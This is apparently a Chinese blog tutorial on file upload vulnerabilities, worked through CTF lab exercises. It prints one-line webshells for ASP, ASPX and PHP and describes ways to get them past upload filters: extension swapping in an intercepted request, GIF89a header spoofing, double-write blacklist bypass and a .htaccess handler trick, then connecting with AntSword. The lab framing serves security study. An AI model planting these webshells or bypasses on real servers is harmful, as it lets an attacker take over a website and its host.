文件上传漏洞(带实例)

漏洞介绍:

现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如企业的OA系统,允许用户上传图片,视频,头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞剑可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。

漏洞利用:

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至服务器。这个恶意的脚本文件,又被称为 WebShell,是以 ASP、PHP、JSP等网页设计语言编写的网页脚本,通常也叫作网页后门。攻击者在入侵了一个网站后,常会将 WebShell上传到网站的目录下或者插入正常的网页中,然后使用浏览器或者对应的 WebShell客户端来访问这些后门,将会得到一个命令执行的环境,以达到控制网站服务器的目的。

一句话木马:

tips:这下面的木马蚁剑连接的时候密码都为x

ASP的一句话木马:

  1. <%eval request("x")%>

  2. <%execuate request("x")%>

ASPX的一句话木马:

  1. <%@ Page Language="Jscript"%>

<%eval (Request.Item["x"],"unsafe");%)

PHP的一句话木马:

  1. <?php @eval($_POST['x']); ?>

  2. <?php assert($_POST['x']); ?>

漏洞实战样例:

1.JS前端绕过:

靶场题目:

此时我们上传一个一句话木马。

说明前端让后缀为**.php** 的文件是黑名单了

我们可以先改为**.jpg文件然后用bp抓包,在包里面改为.php**,因为此时我们已经通过了前端验证了

将**.jpg改为.php** 就可以上传成功了

上传成功了;

复制图片地址,然后将后缀改成**.php**

php代码被执行成功。

2.文件头绕过

文件上传时,服务器除了JS前端检验,有的检验还会对上传的文件进行文件头检测。文件头信息通常在一个文件的开头,我们用查看十六进制的方式可以查看一个文件的文件头信息。这也是最方便、最快捷的用来辨别一个文件真实内容的方法。

常见的文件头标志如下:

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47

GIF (gif),文件头:47494638

HTML (html),文件头:68746D6C3E

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

Adobe Acrobat (pdf),文件头:255044462D312E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

tips:一般图片文件我们都在前面加入GIF89a来绕过

不加文件头的时候;

加了文件头的时候;

然后靶场实战吧!!!

同样先转为图片.jpg文件上传改包

上传成功了

3.黑名单缺陷

限制文件上传的方式千奇百怪,白名单与黑名单就是常见的限制方式。白名单是设置可以让用户上传的文件格式,白名单以外的文件格式都不能通过。黑名单是设置用户不能上传的文件格式,黑名单以外的文件格式都能通过。所以在一般情况下,白名单比黑名单限制的用户要更多一些。

上传**.php**文件会失败的就是黑名单过滤了

本题给了提示;
会把黑名单里面的字符串删掉,然后继续拼接路径。这时候我们可以想到双写绕过
如;
"php"被删掉变成"" 什么都没有
"pphphp",中间的php被删掉,然后前面的p和后面的hp合成新的php
这就是双写绕过

这里我们将**.jpg改为.pphphp,** 后端遇到pphphp的时候会把它变成php

成功上传了

4. .htaccess文件

.htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。

我们先把.htaccess文件上传上去,然后上传一个带有一句话木马的.jpg文件,当你访问.jpg文件时,这个文件会被当成php执行

我们的.htaccess文件根muma.jpg文件在一个目录下,我们访问muma.jpg文件看看

.htaccess适用范围比.user.ini小,他好像只能用于apache服务器上的,大家做ctf题的时候可能会遇到,我这里其实演示失败了....,但是过程就是这样的!!!

一句话木马的使用;

为什么现在才写一句话木马,因为你首先得会上传php文件是吧,不然上传的木马是个图片怎么用呢?

我喜欢用的一句话木马
tips:GIF89a可以绕过后端关于图片的一些验证。phpinfo可以判断是否上传的文件可以按照php执行,会有回显。

先上传成功木马先

然后用蚁剑连接他

先点击测试连接,如果连接成功的话点击添加

双击它我们就可以看到目标的所有目录文件了

所以这就是一句话木马的危害

相关推荐
weixin_4426434211 分钟前
FileLink为企业打造了一站式的跨网安全文件共享解决方案
安全·filelink内外网文件交换
一只栖枝23 分钟前
Security知识点分享之高级安全安装虚拟机
安全·安全架构
cnsinda_sdc44 分钟前
信创数据防泄漏中信创沙箱是什么样的安全方案
运维·网络·安全·源代码管理·源代码防泄密·源代码加密
黑客Ela1 小时前
【网络安全设备系列】7、流量监控设备
安全·web安全
hao_wujing3 小时前
网络安全等级自我评价
安全·web安全
ly21st3 小时前
elasticsearch安全认证
安全·elasticsearch
cdprinter4 小时前
涉密行业跨网数据摆渡,光盘审计刻录输出,生产音视频刻录,电子档案长期保存应用
安全·自动化·音视频
daopuyun5 小时前
GB/T34944-2017 《Java语言源代码漏洞测试规范》解读——安全功能
java·开发语言·安全
群联云防护小杜6 小时前
服务器被攻击怎么办
运维·服务器·网络·网络协议·安全·web安全
利哥AI实例探险6 小时前
建筑工地AI安全检测系统:YOLO11数据标注训练与PyQt5界面设计应用开发
人工智能·qt·安全